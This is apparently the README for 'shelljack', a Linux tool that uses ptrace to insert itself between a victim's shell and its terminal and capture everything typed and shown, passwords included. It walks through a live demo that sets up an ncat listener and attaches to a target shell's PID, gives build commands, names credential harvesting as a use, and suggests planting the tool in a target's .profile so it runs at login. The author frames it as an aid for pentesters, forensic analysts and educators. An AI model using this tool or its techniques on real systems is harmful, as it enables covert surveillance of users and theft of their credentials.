shelljack is a computer surveillance tool designed to capture Linux command-line interactions in real-time.
What exactly is "shelljacking"?
This is the term I use to describe a pseudo-terminal mitm attack. This technique embeds the attacker between the target user and their shell. From this position the attacker is able to inspect and capture all I/O as it crosses the terminal. This is similar to a keystroke logger, but will also return the output from the command line as well. In addition to the data being captured, it is also forwarded to a remote listener for analysis in real time.
This embedded position allows the attacker to capture all of the traffic that crosses the terminal. This includes child processes and ssh sessions to other hosts!
That's awesome! 1337 h4X0rZ rUL3!!
While I do think it's pretty neat, this really isn't "hacking". There are no exploits here. shelljack takes advantage of some Linux deep magic that is completely legitimate, although often not well understood. In order to shelljack a target, you will need the appropriate permissions to do so.
While this may not be a "sploit", it is a very handy tool designed to empower forensic analysts, pentesters, and educators.
Is this a kernel module?
No. shelljack is a user space tool.
Do I need to be root to use it?
No. You need "appropriate permissions". This means that you will need the ability to execute code on the target host either as root or as the target user.
It should be noted that Ubuntu has shiped, since version 10.10, with a patch that restricts the scope of ptrace's effectiveness. Because of this, shelljack will need root privileges for in order to work on Ubuntu.
When would I ever need this?
- As a forensic analyist, you can use shelljack to perform surveillance on the target of your investigation (after you've recieved the appropriate authority to do so from the heads of your Security, Legal, and HR teams, of course.)
- As a pentester who has gained execution as a user, you can now shelljack that account for further reconnaissance and credential harvesting.
- As a sysadmin, or other educator, shelljack is useful for publicly demonstrating the importance of sane file permissions as well as other system configuration issues.
How does it work?
shelljack is a malicious terminal emulator that uses ptrace to insert itself between a shell and it's controlling tty.
What Architectures / OSs will this run on?
Currently, shelljack will only run on x86_64 Linux. Because shelljack uses the Linux ptrace interface to inject assembly language syscalls into a target process, nothing here is portable. That said, check out my other project, ptrace_do. If I get around to supporting ptrace_do for other architectures, then porting shelljack shouldn't be too hard.
Please tell me more about this deep magic of which you speak!
-
ptrace is the debugging interface provided by the Linux kernel. It is a very powerful tool, and the aspiring hacker would do well to study it. The best introduction I've seen comes in the form of two articles by Pradeep Padala dating back to 2002: Playing with ptrace, Part I and Playing with ptrace, Part II
-
A solid understanding of tty fundamentals is necessary to fully understand the Unix / Linux command line. The best tutorial on this topic is easily The TTY demystified by Linus Åkesson.
empty@monkey:~$ shelljack --help
usage: shelljack LISTENER:PORT PID
LISTENER: Hostname or IP address of the listener.
PORT: Port number that the listener will be listening on.
PID: Process ID of the target process.
In order to properly mitm the signals generated by the controlling tty, shelljack must detach from it's original launch terminal. Because of this, you'll need to set up a listener to catch its eavesdropped output. Ncat works nicely for this. (We've chosen localhost and port 9999 here, but shelljack will happily use any address that the machine will route.)
Let's do a demo. I'll be running the tty command in these examples to demonstrate which terminal the various commands are being run in.
Start by setting up a listener:
empty@monkey:~$ tty
/dev/pts/0
empty@monkey:~$ ncat -k -l localhost 9999
Since this is a demo, let's also examine the shell we want to target:
empty@monkey:~$ tty
/dev/pts/3
empty@monkey:~$ echo $$
19716
empty@monkey:~$ ls -l /proc/$$/fd
total 0
lrwx------ 1 empty empty 64 Jun 16 16:17 0 -> /dev/pts/3
lrwx------ 1 empty empty 64 Jun 16 16:18 1 -> /dev/pts/3
lrwx------ 1 empty empty 64 Jun 16 16:18 2 -> /dev/pts/3
lrwx------ 1 empty empty 64 Jun 16 16:18 255 -> /dev/pts/3
Now, launch shelljack against the target shell:
empty@monkey:~$ tty
/dev/pts/2
empty@monkey:~$ shelljack localhost:9999 19716
That was it! If we go back to the listener, we will now see all of the I/O come through the listener as it is typed into the target shell. For further evidence of this, lets examine the target shell again:
empty@monkey:~$ ls -l /proc/$$/fd
total 0
lrwx------ 1 empty empty 64 Jun 16 16:17 0 -> /dev/pts/4
lrwx------ 1 empty empty 64 Jun 16 16:18 1 -> /dev/pts/4
lrwx------ 1 empty empty 64 Jun 16 16:18 2 -> /dev/pts/4
lrwx------ 1 empty empty 64 Jun 16 16:18 255 -> /dev/pts/4
empty@monkey:~$ ps j -u empty | grep $$
19714 19716 19716 19716 pts/4 19867 Ss 1000 0:00 -bash
1 19782 19782 19782 pts/3 19782 Ss+ 1000 0:00 shelljack localhost 9999 19716
We can see that shelljack has successfully taken over /dev/pts/3, and is serving up /dev/pts/4 for the target shell to consume. It is now in place to collect the traffic and happily forward you a copy of everything it sees, including input which normally wouldn't be "echoed" to the terminal at all. (e.g. passwords)
Also note, shelljack was designed with the ability to attack the shell that launches it. This makes it ideal to call from the target's login configuration files. (e.g. .profile)
empty@monkey:~$ ls -l /proc/$$/fd
total 0
lrwx------ 1 empty empty 64 Jun 16 16:33 0 -> /dev/pts/3
lrwx------ 1 empty empty 64 Jun 16 16:33 1 -> /dev/pts/3
lrwx------ 1 empty empty 64 Jun 16 16:33 2 -> /dev/pts/3
lrwx------ 1 empty empty 64 Jun 16 16:33 255 -> /dev/pts/3
empty@monkey:~$ shelljack localhost:9999 $$
empty@monkey:~$ ls -l /proc/$$/fd
total 0
lrwx------ 1 empty empty 64 Jun 16 16:33 0 -> /dev/pts/4
lrwx------ 1 empty empty 64 Jun 16 16:33 1 -> /dev/pts/4
lrwx------ 1 empty empty 64 Jun 16 16:33 2 -> /dev/pts/4
lrwx------ 1 empty empty 64 Jun 16 16:33 255 -> /dev/pts/4
To help with the heavy lifting, I've written two supporting libraries that are both needed by shelljack:
- ptrace_do: A ptrace library for easy syscall injection in Linux.
- ctty: A library and tool for discovering and mapping of Controlling TTYs in Linux.
In addition, I've also written another tool that isn't needed by shelljack, but helps with tty forensics.
- dumb: A simple tool for stripping control characters and escape sequences from terminal output in Unix/Linux.
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..
git clone https://github.com/emptymonkey/ctty.git
cd ctty
make
cd ..
git clone https://github.com/emptymonkey/shelljack.git
cd shelljack
make
As noted in the tty_ioctl manpage, an existing process can only switch controlling ttys if it is a session leader. Because of this, while shelljack will be successful against the shell itself, any existing child processes will not be able to switch with it. They won't usually die during the shelljacking, but their I/O will act strangely if it relies on the tty. It is best to target shells that are semi-idle, or attack them during the login process. Note that this only affects child processes that exist at the time of the attack. New processes will inherit their parents (shelljacked) file descriptors.
shelljack is only the latest in a series of tools that can best be described as "Processes acting badly with ptrace." The most notable of these tools was Metlstorm's ssh-jack from 2005 which opened the door for this style of attack. Metlstorm's tool uses Python and GDB scripts to tap into an active SSH session. The Ubuntu security team added a patch to reduce the attack surface represented by ptrace as a direct response to ssh-jack.
I also came across several other projects during my research that use similar techniques to explore both ptrace code injection as well as terminal mangling. If this is an area that interests you, these other projects are also worth studying.
- retty is a tiny tool that lets you attach processes running on other terminals.
- neercs allows you to detach a session from a terminal.
- injcode injects code into a running process.
- reptyr takes a process that is currently running in one terminal, and transplants it to a new terminal.
I write and release these tools with the intention of educating the larger IT community and empowering legitimate pentesters. If I can write these tools in my spare time, then rest assured that the dedicated malicious actors have already developed versions of their own.